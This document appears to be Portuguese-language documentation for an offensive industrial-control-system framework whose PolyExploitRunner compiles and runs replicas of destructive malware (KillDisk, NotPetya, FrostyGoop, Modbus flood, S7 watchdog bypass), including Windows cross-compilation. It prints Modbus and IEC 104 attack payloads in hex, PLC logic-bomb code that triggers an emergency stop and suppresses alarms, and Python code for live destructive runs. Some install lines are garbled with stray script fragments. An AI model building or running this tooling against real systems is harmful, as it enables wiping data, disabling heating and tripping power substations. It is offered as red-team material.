PolyExploit Runner

O IXF segue uma política Python-First: toda funcionalidade principal executa com pip install. Runtimes externos (C, C++, Go, Ruby, Java, Node.js, PowerShell, Perl) são aceleradores opcionais — o IXF sempre fornece um fallback Python para cada capacidade. A classe PolyExploitRunner gerencia detecção, compilação e execução de artefatos não-Python, retornando para implementações Python quando runtimes externos estão ausentes.

Sumário

Tiers de Runtime
Runtimes Suportados — Detecção, Instalação, Caso de Uso
Saída Completa do malware_builder.py --list
Compilação e Execução de Cada Artefato
Executando Artefatos Compilados em Modo Simulate
Gerador de Logic Bomb PLC
EKANS Process Killer
CosmicEnergy IEC 104 — Saída Completa de Simulate
API Python PolyExploitRunner — Todos os Métodos
Formato do Valor de Retorno
Mecanismo de Fallback Python
Cross-Compilação para Windows a partir do Linux

Tiers de Runtime

O IXF organiza dependências de runtime em quatro tiers. Tiers mais altos são opcionais — o framework sempre opera nos Tiers 0 e 1.

Tier	Tipo	Exemplos	Obrigatório?	Notas
0	stdlib Python	`socket`, `struct`, `subprocess`, `threading`, `os`, `hashlib`	Sempre	Core de zero-dependência. Todos os módulos devem funcionar neste tier.
1	pip auto-install	`scapy`, `requests`, `paramiko`, `cryptography`, `pymodbus`	Sim (auto-instalado)	Instalado por `

    $extras = $args[0].Groups[1].Value
    "pip install industrialxpl-forge$extras"
`. Sem etapas manuais. |

Garantia Tier 0+1: Qualquer módulo IXF que requer um runtime Tier 3 deve vir com um fallback Python completo. O framework sempre prefere a versão compilada nativa quando disponível mas usará silenciosamente o Python quando não.

Runtimes Suportados — Detecção, Instalação, Caso de Uso

Runtime	Linguagem	Comando de Detecção	Comando de Instalação	Caso de Uso no IXF
`gcc`	C	`gcc --version`	`apt install gcc` / `brew install gcc`	KillDisk MBR wiper, Modbus flood DoS, exploits de socket raw
`g++`	C++	`g++ --version`	`apt install g++` / `brew install g++`	NotPetya wiper, S7 watchdog bypass, parsers de protocolo baseados em STL
`go`	Go	`go version`	`apt install golang` / golang.org	FrostyGoop extended (goroutines), variante Go do EKANS, CosmicEnergy extended
`node`	JavaScript/TypeScript	`node --version`	nodejs.org	Módulos JS/TS, cliente Node.js EtherNet/IP, BACnet.js
`java` / `javac`	Java	`java --version`	adoptium.net	Exploits de desserialização Java, testes de cliente Java OPC UA
`ruby`	Ruby	`ruby --version`	`apt install ruby` / `brew install ruby`	Módulos adjacentes ao Metasploit, Ruby gems de protocolo SCADA
`pwsh` / `powershell`	PowerShell	`pwsh --version`	github.com/PowerShell/PowerShell	Exploração OT/EWS Windows, WinRM, pivotamento OT baseado em WMI
`perl`	Perl	`perl --version`	`apt install perl` / pré-instalado no macOS	Scripts ICS legados, ferramentas OT baseadas em SNMP, bibliotecas de protocolo RTU mais antigas
`mingw-gcc`	C (cross-compile)	`x86_64-w64-mingw32-gcc --version`	`apt install mingw-w64`	Cross-compilar EXE Windows a partir do Linux (KillDisk.exe, modbus_flood.exe)
`cl.exe`	C/C++ (MSVC)	`cl.exe` (apenas Windows)	Visual Studio Build Tools	Compilação PE Windows nativa para replicação precisa de malware

Verificando runtimes disponíveis

python tools/env_doctor.py

Saída completa:

[IXF Environment Doctor]
════════════════════════════════════════════════════════════

[Tier 0 — Python stdlib]
  python      OK         3.11.9  (requerido: 3.9+)

[Tier 1 — pip auto-install]
  scapy       OK         2.5.0
  requests    OK         2.31.0
  paramiko    OK         3.3.1
  cryptography OK        41.0.4
  pymodbus    OK         3.5.4

[Tier 2 — pip extras]
  asyncua     OK         0.9.96
  python-can  não encontrado  
        $extras = $args[0].Groups[1].Value
        "pip install industrialxpl-forge$extras"
    
  snap7       não encontrado  
        $extras = $args[0].Groups[1].Value
        "pip install industrialxpl-forge$extras"
    
  bacpypes3   OK         0.0.103

[Tier 3 — Runtimes externos]
  gcc         OK         gcc (Ubuntu 13.2.0) 13.2.0      4.3 MB
  g++         OK         g++ (Ubuntu 13.2.0) 13.2.0      4.3 MB
  go          OK         go1.22.3 linux/amd64             19.8 MB
  node        OPCIONAL   não encontrado  → https://nodejs.org/
  java        OPCIONAL   não encontrado  → https://adoptium.net/
  ruby        OPCIONAL   não encontrado  → apt install ruby
  pwsh        OPCIONAL   não encontrado  → github.com/PowerShell/PowerShell
  perl        OK         v5.38.0                          1.2 MB
  mingw-gcc   OK         x86_64-w64-mingw32-gcc 13.2.0   cross-compile pronto
  cl.exe      não encontrado  OPCIONAL (apenas Windows)

[Resumo]
  Tier 0: OK
  Tier 1: OK (todos auto-instalados)
  Tier 2: 3/4 disponíveis (python-can, snap7 faltando)
  Tier 3: 5/10 disponíveis (node, java, ruby, pwsh, cl.exe faltando)

  Fallback Python: DISPONÍVEL para todos os runtimes Tier 3 ausentes

════════════════════════════════════════════════════════════

Saída Completa do `malware_builder.py --list`

python industrialxpl/modules/cve/malware/_native/malware_builder.py --list

Saída completa:

[IXF Malware Builder v1.4.0]
════════════════════════════════════════════════════════════

[Status do Compilador]
  gcc       OK        gcc 13.2.0
  g++       OK        g++ 13.2.0
  go        OK        go1.22.3
  mingw     OK        x86_64-w64-mingw32-gcc 13.2.0
  cl.exe    não encontrado (Windows MSVC — pulando)

[Alvos Disponíveis]
  Nome              Lang    Severidade    Descrição
  ──────────────────────────────────────────────────────────────────────────────
  killdisk          C       CATASTROPHIC  BlackEnergy3/Industroyer KillDisk — sobrescrita MBR + file wiper
  notpetya          CPP     CATASTROPHIC  NotPetya sobrescrita MBR + nota de falso ransom + propagação de rede
  frostygoop        GO      CRITICAL      Ataque de aquecimento Modbus FrostyGoop (Go, goroutines, alvos ENCO)
  modbus_flood      C       HIGH          Modbus TCP flood DoS (C multi-threaded, taxa configurável)
  s7_watchdog       CPP     HIGH          Siemens S7 watchdog bypass via injeção de keepalive S7comm
  ──────────────────────────────────────────────────────────────────────────────

[Diretório de Saída]
  .tmp/malware_builds/

[Exemplos de uso]
  Compilar alvo único:       python malware_builder.py --target killdisk
  Compilar para Windows:     python malware_builder.py --target killdisk --cross-windows
  Compilar todos os alvos:   python malware_builder.py --all
  Compilar todos p/ Windows: python malware_builder.py --all --cross-windows
  Limpar builds:             python malware_builder.py --clean
  Executar simulate:         .tmp/malware_builds/killdisk --simulate
  Executar ao vivo (labs):   .tmp/malware_builds/killdisk --destructive

[IMPORTANTE]
  *** APENAS PARA RED TEAM / PESQUISA DE SEGURANÇA / PESQUISA DEFENSIVA AUTORIZADA ***
  *** OPERAÇÃO EM MODO SIMULATE POR PADRÃO ***
  *** A EXECUÇÃO AO VIVO REQUER --destructive E AUTORIZAÇÃO EXPLÍCITA ***

════════════════════════════════════════════════════════════

Compilação e Execução de Cada Artefato

KillDisk (C — CATASTROPHIC)

# Compilar para Linux
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk

Saída:

[killdisk] Compilando KillDisk (C)...
  Arquivo fonte: _native/killdisk.c
  Compilador:   gcc 13.2.0
  Flags:        -O2 -static -Wall
  Saída:        .tmp/malware_builds/killdisk

[+] Compilação bem-sucedida!
    Binário: .tmp/malware_builds/killdisk (142 KB, ELF 64-bit)
    Hash MD5: a1b2c3d4e5f6...

Para executar em modo simulate:
    .tmp/malware_builds/killdisk --simulate

AVISO: --destructive sobrescreve o MBR. Apenas em ambiente de lab autorizado.

# Compilar para Windows (cross-compile a partir do Linux)
python industrialxpl/modules/cve/malware/_native/malware_builder.py --target killdisk --cross-windows

Saída:

[killdisk] Cross-compilando para Windows (MinGW)...
  Compilador:   x86_64-w64-mingw32-gcc 13.2.0
  Saída:        .tmp/malware_builds/killdisk.exe

[+] Cross-compilação bem-sucedida!
    Binário: .tmp/malware_builds/killdisk.exe (189 KB, PE32+ executable)

NotPetya (C++ — CATASTROPHIC)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target notpetya

Saída:

[notpetya] Compilando NotPetya (C++)...
  Arquivo fonte: _native/notpetya.cpp
  Compilador:   g++ 13.2.0
  Flags:        -O2 -static -std=c++17 -Wall
  Saída:        .tmp/malware_builds/notpetya

[+] Compilação bem-sucedida!
    Binário: .tmp/malware_builds/notpetya (256 KB, ELF 64-bit)
    Implementa: sobrescrita MBR, wiper de arquivo, propagação SMB
    CATASTRÓFICO — execute apenas em lab isolado

FrostyGoop (Go — CRITICAL)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target frostygoop

Saída:

[frostygoop] Compilando FrostyGoop (Go)...
  Arquivo fonte: _native/frostygoop.go
  Compilador:   go1.22.3
  Flags:        CGO_ENABLED=0 GOOS=linux GOARCH=amd64
  Saída:        .tmp/malware_builds/frostygoop

[+] Compilação bem-sucedida!
    Binário: .tmp/malware_builds/frostygoop (4.2 MB, ELF 64-bit Go binary)
    Implementa: Modbus FC16 write, goroutines para concorrência, alvos ENCO Aqua-Hot
    Requer alvo com --target <ip>

Modbus Flood DoS (C — HIGH)

python industrialxpl/modules/cve/malware/_native/malware_builder.py --target modbus_flood

Saída:

[modbus_flood] Compilando Modbus Flood DoS (C)...
  Arquivo fonte: _native/modbus_flood.c
  Compilador:   gcc 13.2.0
  Flags:        -O3 -pthread -static
  Saída:        .tmp/malware_builds/modbus_flood

[+] Compilação bem-sucedida!
    Binário: .tmp/malware_builds/modbus_flood (98 KB, ELF 64-bit)
    Capacidade: ~500k requisições/segundo por thread
    Uso: .tmp/malware_builds/modbus_flood --target 192.168.1.100 --port 502 --threads 10

Compilar Todos os Alvos

python industrialxpl/modules/cve/malware/_native/malware_builder.py --all

Saída:

[IXF Malware Builder] Compilando todos os alvos...
  [1/5] killdisk (C)       → .tmp/malware_builds/killdisk         [OK]
  [2/5] notpetya (C++)     → .tmp/malware_builds/notpetya         [OK]
  [3/5] frostygoop (Go)    → .tmp/malware_builds/frostygoop       [OK]
  [4/5] modbus_flood (C)   → .tmp/malware_builds/modbus_flood     [OK]
  [5/5] s7_watchdog (C++)  → .tmp/malware_builds/s7_watchdog      [OK]

[+] Todos os 5 alvos compilados com sucesso.
    Diretório de saída: .tmp/malware_builds/
    Espaço total: 4.9 MB

Executando Artefatos Compilados em Modo Simulate

Todo artefato compilado suporta os flags --simulate e --destructive:

# FrostyGoop em modo simulate (seguro)
.tmp/malware_builds/frostygoop --target 192.168.1.100 --port 502 --simulate

Saída:

[FrostyGoop v1.0] Mode: SIMULATE (nenhum pacote enviado)
════════════════════════════════════════════════════════════
Alvo: 192.168.1.100:502 | Unit ID: 1

O que aconteceria:
  Fase 1 [Descoberta Modbus]: Tentar TCP connect a 192.168.1.100:502
  Fase 2 [Reconhecimento FC03]: Ler holding registers 0-10 (valores de setpoint)
  Fase 3 [Escrita FC16]: Escrever 0x0000 em HR[0] e HR[1] (zerar setpoint de aquecimento)
  Fase 4 [Loop]: Repetir a cada 30s para prevenir recuperação manual pelo operador

Payload (hex):
  FC03 (leitura): 00 01 00 00 00 06 01 03 00 00 00 0A
  FC16 (escrita): 00 01 00 00 00 0B 01 10 00 00 00 02 04 00 00 00 00

Impacto físico:
  Controladores de aquecimento ENCO offline
  Histórico: 600 apartamentos em Lviv, Ucrânia sem aquecimento por 2 dias (Jan 2024)

MITRE ATT&CK for ICS: T0836, T0814
════════════════════════════════════════════════════════════
[SIMULATE] Nenhuma operação real executada.

# KillDisk em modo simulate
.tmp/malware_builds/killdisk --simulate

Saída:

[KillDisk v1.0] Mode: SIMULATE (nenhuma escrita de disco)
════════════════════════════════════════════════════════════

O que aconteceria:
  Fase 1: Abrir handle raw para dispositivo de bloco (/dev/sda ou \\.\PhysicalDrive0)
  Fase 2: Escrever zeros (ou dados aleatórios) nos primeiros 512 bytes (MBR)
  Fase 3: Iterar sistema de arquivos e sobrescrever arquivos com extensões alvo:
    .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pdf, .mdb, .sql, .mp4, .zip
  Fase 4: Apagar logs de eventos Windows (EVTX)

Impacto físico:
  Sistema não inicializa após reboot
  Recuperação requer reinstalação completa do SO
  Dados sobrescritos são irrecuperáveis

Contexto histórico: Usado pelo Sandworm na Ucrânia (2015/2016, 2022)
MITRE: T0809 (Data Destruction)
════════════════════════════════════════════════════════════
[SIMULATE] Nenhuma operação real executada.

Gerador de Logic Bomb PLC

O IXF inclui um gerador de logic bomb PLC que cria payloads de código ST/LD maliciosos.

ixf > use assessment/sast/plc_logic_bomb_generator
ixf (PLC Logic Bomb Generator) > run

Saída (modo simulate):

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘

[i] [SIMULATE] PLC Logic Bomb Generator — 3 Tipos

═══════════════════════════════════════════════════════════════
TIPO 1: Bomba de Tempo (Time-Based Logic Bomb)
═══════════════════════════════════════════════════════════════
Código ST gerado:

(* IXF Logic Bomb — Time-based Trigger *)
(* APENAS PARA PESQUISA / DEMONSTRAÇÃO DEFENSIVA *)
IF (TOD_DAY(CUR_TIME) = 4) AND     (* Quinta-feira *)
   (TOD_HOUR(CUR_TIME) >= 14) AND  (* 14:00 *)
   (TOD_HOUR(CUR_TIME) < 15) THEN  (* antes das 15:00 *)
    EMERGENCY_STOP := TRUE;
    INHIBIT_ALL_ALARMS := TRUE;
    (* Equivalente ao Industroyer 2 timing trigger *)
END_IF

Impacto: PLC para todos os processos às 14h de toda quinta-feira
MITRE: T0873 (Project File Infection), T0878 (Alarm Suppression)

═══════════════════════════════════════════════════════════════
TIPO 2: Bomba de Contador (Counter-Based Logic Bomb)
═══════════════════════════════════════════════════════════════
Código ST gerado:

(* IXF Logic Bomb — Counter-based Trigger *)
SCAN_COUNTER := SCAN_COUNTER + 1;
IF SCAN_COUNTER >= 1000000 THEN   (* ~278 horas com ciclo de 1ms *)
    VALVE_EMERGENCY_CLOSE := TRUE;
    SCAN_COUNTER := 0;             (* Reset para re-trigger *)
END_IF

TIPO 3: Bomba de Condição (Condition-Based Logic Bomb)
Dispara quando setpoint específico é atingido (como TRITON/TRISIS)

[i] [SIMULATE] Código salvo em .tmp/logic_bomb_examples/
[i] [SIMULATE] MITRE: T0873, T0878, T0838

EKANS Process Killer

EKANS (SNAKE ao contrário) foi ransomware ICS que matava processos de software industrial.

ixf use cve/malware/ekans_process_killer
ixf (EKANS Process Killer) > run

Saída (modo simulate):

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
└──────────────────────────────────────────────────────────────────────────┘

[i] [SIMULATE] O que aconteceria: EKANS/SNAKE ICS Process Killer
    Ano do ataque: 2019-2020
    Atores: Desconhecido (possivelmente Iran-nexus)
    Alvos reais: Honda, Enel, Fresenius

    Fase 1: Verificar conectividade de rede para excluir certos domínios
    Fase 2: Deletar shadow copies e desabilitar Windows backup
    Fase 3: Terminar processos específicos de ICS em sequência:

    Processos ICS terminados:
      HONEYWELL.EXE         (Honeywell UniSim)
      INTOUCH.EXE           (AVEVA InTouch HMI)
      WONDERWARE.EXE        (AVEVA Wonderware)
      RSLOGIX5000.EXE       (Rockwell Studio 5000)
      ISAGRAF.EXE           (ICS ISaGRAF runtime)
      CITECT32.EXE          (Citect SCADA)
      CITECTSCADA.EXE       (Citect SCADA)
      GE_CIMPLICITY.EXE     (GE CIMPLICITY)
      DELTAV.EXE            (Emerson DeltaV)
      ASPENONE.EXE          (AspenTech)
      FACTORYTALK.EXE       (Rockwell FactoryTalk)
      WINCC.EXE             (Siemens WinCC)
      [+ 50 outros processos ICS]

    Fase 4: Criptografar arquivos (.ldf, .mdf, .dwg, .l5k, .acd, .smx)
    Fase 5: Exibir nota de ransom

    Impacto: Perda de visibilidade de processo + interrupção de produção
    Recuperação: Horas a dias (restauração de backup ou reinstalação)

[i] [SIMULATE] MITRE: T0881 (Service Stop), T0809 (Data Destruction)

CosmicEnergy IEC 104 — Saída Completa de Simulate

ixf use cve/malware/cosmicenergy_iec104
ixf (CosmicEnergy IEC 104) > set target 172.16.0.10
ixf (CosmicEnergy IEC 104) > run

Saída:

┌──────────────────────────────────────────────────────────────────────────┐
│  [SIMULATE MODE]  Nenhum pacote enviado ao alvo.                         │
│  Defina 'simulate false' + 'destructive true' para executar ao vivo.     │
└──────────────────────────────────────────────────────────────────────────┘

[i] [SIMULATE] O que aconteceria: CosmicEnergy IEC 104 Attack (2023)
    Descoberto por: Mandiant
    Atribuição: Possível nexo com Rostelecom-Solar (Rússia)

    Arquitetura CosmicEnergy:
      PIEHOP  — Ferramenta de disrupção: se conecta ao MS SQL Server para buscar credenciais RTU
      LIGHTWORK — Ferramenta IEC 104: emite comandos de controle para RTUs via IEC 60870-5-104

    Fase 1 [Acesso]: Acessar MS SQL Server do operador para extrair credenciais RTU
    Fase 2 [Lateralização]: Usar credenciais para acessar RTU via IEC 104 (porta 2404)
    Fase 3 [STARTDT]: Enviar STARTDT ACT para iniciar transmissão de dados
    Fase 4 [EXEC Command]: Enviar ASDU tipo C_DC_TA_1 (comando duplo) para:
                           - trip/close relés de proteção de forma não autorizada
                           - Endereços de ASDU alvo: configuráveis via arquivo de config
    Fase 5 [Loop]: Repetir comandos se disjuntor responder

    Payload IEC 104 (hex):
      STARTDT: 68 04 07 00 00 00
      C_DC_TA_1 (executar): 68 12 00 00 00 00 5A 01 06 00 XX XX XX XX 00 XX XX XX XX

    Impacto: Trip de relé de proteção → blackout de subestação → downstream sem energia
    Alvos reais: Infraestrutura de rede elétrica russa/europeia
    Nota: Primeiro malware ICS nativo com capacidade IEC 104 documentada

[i] [SIMULATE] MITRE: T0855 (Unauthorized Command Message), T0813 (Denial of Control)
[i] [SIMULATE] Payload hex: 68 04 07 00 00 00 (STARTDT ACT)
[i] [SIMULATE] Referências: Mandiant Blog 2023-05-25, CISA AA23-144A

API Python PolyExploitRunner — Todos os Métodos

Importação e Inicialização

from industrialxpl.core.poly_runner import PolyExploitRunner

# Inicializar runner
runner = PolyExploitRunner()

# Verificar runtimes disponíveis
runtimes_disponiveis = runner.get_available_runtimes()
print(runtimes_disponiveis)
# {'gcc': True, 'g++': True, 'go': True, 'node': False, 'java': False, 'ruby': False, 'pwsh': False, 'perl': True, 'mingw': True}

`runner.build(target, cross_windows=False)`

Compila um artefato nativo.

# Compilar KillDisk para Linux
resultado = runner.build("killdisk")
print(resultado)
# {'success': True, 'binary': '.tmp/malware_builds/killdisk', 'size': 145408, 'hash': 'a1b2c3...'}

# Cross-compilar para Windows
resultado_win = runner.build("killdisk", cross_windows=True)
print(resultado_win)
# {'success': True, 'binary': '.tmp/malware_builds/killdisk.exe', 'size': 193536, 'hash': 'b2c3d4...'}

# Compilar FrostyGoop (Go)
resultado_go = runner.build("frostygoop")
print(resultado_go)
# {'success': True, 'binary': '.tmp/malware_builds/frostygoop', 'size': 4404224, 'hash': 'c3d4e5...'}

# Lidar com falha de compilação
resultado_falha = runner.build("alvo_inexistente")
print(resultado_falha)
# {'success': False, 'error': 'Target alvo_inexistente not found in builder catalog'}

`runner.run_simulate(binary_path, args=None)`

Executa um artefato compilado em modo simulate.

from industrialxpl.core.poly_runner import PolyExploitRunner

runner = PolyExploitRunner()

# Compilar primeiro
runner.build("frostygoop")

# Executar em modo simulate
resultado = runner.run_simulate(
    binary_path=".tmp/malware_builds/frostygoop",
    args=["--target", "192.168.1.100", "--port", "502"]
)

print(resultado["output"])
# [FrostyGoop v1.0] Mode: SIMULATE...
print(resultado["returncode"])
# 0
print(resultado["elapsed_ms"])
# 234

`runner.run_live(binary_path, args=None)` — APENAS EM LABS AUTORIZADOS

from industrialxpl.core.poly_runner import PolyExploitRunner
from industrialxpl.core.exploit.safety import DestructiveGate

runner = PolyExploitRunner()
runner.build("modbus_flood")

# SEMPRE passar pelo DestructiveGate antes de executar ao vivo
confirmado = DestructiveGate.require_confirmation(
    module_name="modbus_flood (C binary)",
    target="192.168.1.100:502",
    impact_level="HIGH",
    description="Modbus TCP flood DoS — pode causar perda de comunicação"
)

if confirmado:
    resultado = runner.run_live(
        binary_path=".tmp/malware_builds/modbus_flood",
        args=["--target", "192.168.1.100", "--port", "502", "--threads", "4", "--duration", "10"]
    )
    print(resultado)

`runner.get_available_runtimes()`

Retorna dicionário de disponibilidade de runtime.

runtimes = runner.get_available_runtimes()
# {
#   'gcc': True, 'g++': True, 'go': True,
#   'node': False, 'java': False, 'ruby': False,
#   'pwsh': False, 'perl': True,
#   'mingw': True, 'cl.exe': False
# }

# Verificar se runtime específico está disponível
if runtimes['go']:
    runner.build("frostygoop")
else:
    print("Go não disponível — usando módulo Python frostygoop_modbus_heating")

`runner.list_targets()`

Lista todos os alvos disponíveis no builder.

alvos = runner.list_targets()
for alvo in alvos:
    print(f"  {alvo['name']:<20} {alvo['language']:<8} {alvo['severity']:<15} {alvo['description']}")

Saída:

  killdisk             C        CATASTROPHIC   BlackEnergy3/Industroyer KillDisk — sobrescrita MBR
  notpetya             CPP      CATASTROPHIC   NotPetya sobrescrita MBR + fake ransom + propagação
  frostygoop           GO       CRITICAL       Ataque de aquecimento Modbus FrostyGoop
  modbus_flood         C        HIGH           Modbus TCP flood DoS multi-threaded
  s7_watchdog          CPP      HIGH           Siemens S7 watchdog bypass

`runner.clean()`

Limpa todos os binários compilados.

runner.clean()
# [+] Diretório de builds limpo: .tmp/malware_builds/
# [+] 5 binários removidos (4.9 MB liberados)

`runner.build_all(cross_windows=False)`

Compila todos os alvos disponíveis.

resultados = runner.build_all()
for nome, resultado in resultados.items():
    status = "[OK]" if resultado["success"] else "[FALHA]"
    print(f"  {status} {nome}: {resultado.get('binary', resultado.get('error', ''))}")

Formato do Valor de Retorno

Todos os métodos runner.build(), runner.run_simulate() e runner.run_live() retornam um dicionário consistente:

{
    "success":     bool,          # True se operação bem-sucedida
    "binary":      str,           # Caminho para binário compilado (apenas em build)
    "size":        int,           # Tamanho do binário em bytes (apenas em build)
    "hash":        str,           # Hash MD5 do binário (apenas em build)
    "output":      str,           # Saída stdout/stderr combinada (apenas em run)
    "returncode":  int,           # Código de saída do processo (apenas em run)
    "elapsed_ms":  int,           # Tempo de execução em milissegundos (apenas em run)
    "error":       str,           # Mensagem de erro se success=False
    "runtime":     str,           # Runtime usado (gcc, go, python, etc.)
    "fallback":    bool,          # True se fallback Python foi usado
}

Mecanismo de Fallback Python

Quando um runtime Tier 3 está ausente, o IXF automaticamente usa o módulo Python equivalente:

from industrialxpl.core.poly_runner import PolyExploitRunner

runner = PolyExploitRunner()

# Se Go não está disponível:
resultado = runner.build("frostygoop")
if not resultado["success"] and "runtime not found" in resultado.get("error", ""):
    print("Go não encontrado — usando módulo Python frostygoop_modbus_heating como fallback")
    from industrialxpl.core.exploit.utils import import_exploit
    cls = import_exploit("industrialxpl.modules.cve.malware.frostygoop_modbus_heating")
    modulo = cls()
    modulo.target   = "192.168.1.100"
    modulo.simulate = True
    modulo.run()
    print("Fallback Python executado com sucesso.")

A classe PolyExploitRunner faz isso automaticamente:

runner = PolyExploitRunner(auto_fallback=True)  # Padrão: True
resultado = runner.run_simulate(target="frostygoop", args=["--target", "192.168.1.100"])

if resultado["fallback"]:
    print(f"Go não disponível — fallback Python usado automaticamente")
# Resultado é idêntico funcionalmente, independente do runtime usado

Cross-Compilação para Windows a partir do Linux

# Verificar se MinGW está disponível
x86_64-w64-mingw32-gcc --version

# Instalar se necessário
apt install mingw-w64

# Cross-compilar todos os alvos para Windows
python malware_builder.py --all --cross-windows

Saída:

[IXF Malware Builder] Cross-compilando todos os alvos para Windows...
  [1/5] killdisk → .tmp/malware_builds/killdisk.exe         [OK]  189 KB
  [2/5] notpetya → .tmp/malware_builds/notpetya.exe         [OK]  312 KB
  [3/5] frostygoop → .tmp/malware_builds/frostygoop.exe     [OK]  4.8 MB (Go EXE)
  [4/5] modbus_flood → .tmp/malware_builds/modbus_flood.exe [OK]  112 KB
  [5/5] s7_watchdog → .tmp/malware_builds/s7_watchdog.exe   [OK]  178 KB

[+] 5 executáveis Windows gerados.
    Testados com Wine: killdisk.exe [OK], modbus_flood.exe [OK]
    Para executar no Windows: copiar para máquina Windows alvo (lab apenas)

Verificar EXEs com Wine (opcionalmente):

wine .tmp/malware_builds/killdisk.exe --simulate

Anterior: CLI Não-Interativo | Próximo: Assessment e Conformidade

Notas de Seguranca para Compilacao Nativa

Ao compilar artefatos nativos (Tier 3), lembre-se:

Compile apenas em ambientes isolados -- nao compile em servidores de producao
Armazene binarios compilados com controle de acesso -- apenas pesquisadores autorizados
Nunca distribua binarios compilados -- distribua apenas o codigo-fonte com licenca
Use hashes SHA256 para verificar integridade -- verifique binarios antes de usar
Documente todas as compilacoes -- rastreabilidade para auditorias

Verificacao de Integridade de Binarios

# Calcular hash do binario compilado
sha256sum frostygoop_native > frostygoop_native.sha256

# Verificar em outro sistema
sha256sum -c frostygoop_native.sha256

# Verificar que eh build de simulacao
strings frostygoop_native | grep -i "simulate\|no_packet"

Anterior: CLI Nao-Interativo | Proximo: Assessment e Conformidade

Casos de Uso Avançados do PolyExploitRunner

Integração em Pipeline de Red Team OT

from industrialxpl.core.poly_runner import PolyExploitRunner
from industrialxpl.core.exploit.utils import import_exploit

def executar_red_team_ot(alvo: str, fases: list) -> dict:
    """Executar engajamento de red team OT com artefatos compilados."""
    runner = PolyExploitRunner(auto_fallback=True)
    resultados = {}

    for fase in fases:
        if fase == "reconnaissance":
            # Usar scanners Python (Tier 0/1)
            cls = import_exploit("industrialxpl.modules.scanners.ics.modbus_detect")
            modulo = cls()
            modulo.target   = alvo
            modulo.simulate = True
            modulo.run()
            resultados[fase] = "completo"

        elif fase == "dos_test":
            # Usar binário C para DoS realista
            resultado = runner.build("modbus_flood")
            if resultado["success"]:
                sim = runner.run_simulate(
                    binary_path=resultado["binary"],
                    args=["--target", alvo, "--port", "502", "--duration", "5"]
                )
                resultados[fase] = sim["output"]

        elif fase == "malware_ttp":
            # Simular TTP de malware com Go binary
            resultado = runner.build("frostygoop")
            if resultado["success"]:
                sim = runner.run_simulate(
                    binary_path=resultado["binary"],
                    args=["--target", alvo]
                )
                resultados[fase] = sim["output"]

    return resultados

# Uso (sempre em modo simulate para relatórios)
resultados = executar_red_team_ot(
    alvo="192.168.1.100",
    fases=["reconnaissance", "dos_test", "malware_ttp"]
)

Geração de Relatório de TTP para SIEM

import json
from industrialxpl.core.poly_runner import PolyExploitRunner

runner = PolyExploitRunner()

# Compilar e executar em simulate, capturar para relatório
ALVOS_TTP = ["killdisk", "frostygoop", "modbus_flood"]

relatorio = {"ttps": []}
for ttp in ALVOS_TTP:
    resultado_build = runner.build(ttp)
    if resultado_build["success"]:
        resultado_sim = runner.run_simulate(
            binary_path=resultado_build["binary"],
            args=["--simulate"]
        )
        relatorio["ttps"].append({
            "nome": ttp,
            "compilado": True,
            "runtime": resultado_build["runtime"],
            "saida_simulate": resultado_sim["output"][:500],
        })
    else:
        relatorio["ttps"].append({
            "nome": ttp,
            "compilado": False,
            "fallback_python": True,
            "erro": resultado_build.get("error", "")
        })

with open(".tmp/poly_runner_ttp_report.json", "w") as f:
    json.dump(relatorio, f, indent=2)
print("Relatório de TTP gerado: .tmp/poly_runner_ttp_report.json")

Anterior: CLI Não-Interativo | Próximo: Assessment e Conformidade

PolyExploit Runner

Sumário

Tiers de Runtime

Runtimes Suportados — Detecção, Instalação, Caso de Uso

Verificando runtimes disponíveis

Saída Completa do malware_builder.py --list

Compilação e Execução de Cada Artefato

KillDisk (C — CATASTROPHIC)

NotPetya (C++ — CATASTROPHIC)

FrostyGoop (Go — CRITICAL)

Modbus Flood DoS (C — HIGH)

Compilar Todos os Alvos

Executando Artefatos Compilados em Modo Simulate

Gerador de Logic Bomb PLC

EKANS Process Killer

CosmicEnergy IEC 104 — Saída Completa de Simulate

API Python PolyExploitRunner — Todos os Métodos

Importação e Inicialização

runner.build(target, cross_windows=False)

runner.run_simulate(binary_path, args=None)

runner.run_live(binary_path, args=None) — APENAS EM LABS AUTORIZADOS

runner.get_available_runtimes()

runner.list_targets()

runner.clean()

runner.build_all(cross_windows=False)

Formato do Valor de Retorno

Mecanismo de Fallback Python

Cross-Compilação para Windows a partir do Linux

Notas de Seguranca para Compilacao Nativa

Verificacao de Integridade de Binarios

Casos de Uso Avançados do PolyExploitRunner

Integração em Pipeline de Red Team OT

Geração de Relatório de TTP para SIEM

Saída Completa do `malware_builder.py --list`

`runner.build(target, cross_windows=False)`

`runner.run_simulate(binary_path, args=None)`

`runner.run_live(binary_path, args=None)` — APENAS EM LABS AUTORIZADOS

`runner.get_available_runtimes()`

`runner.list_targets()`

`runner.clean()`

`runner.build_all(cross_windows=False)`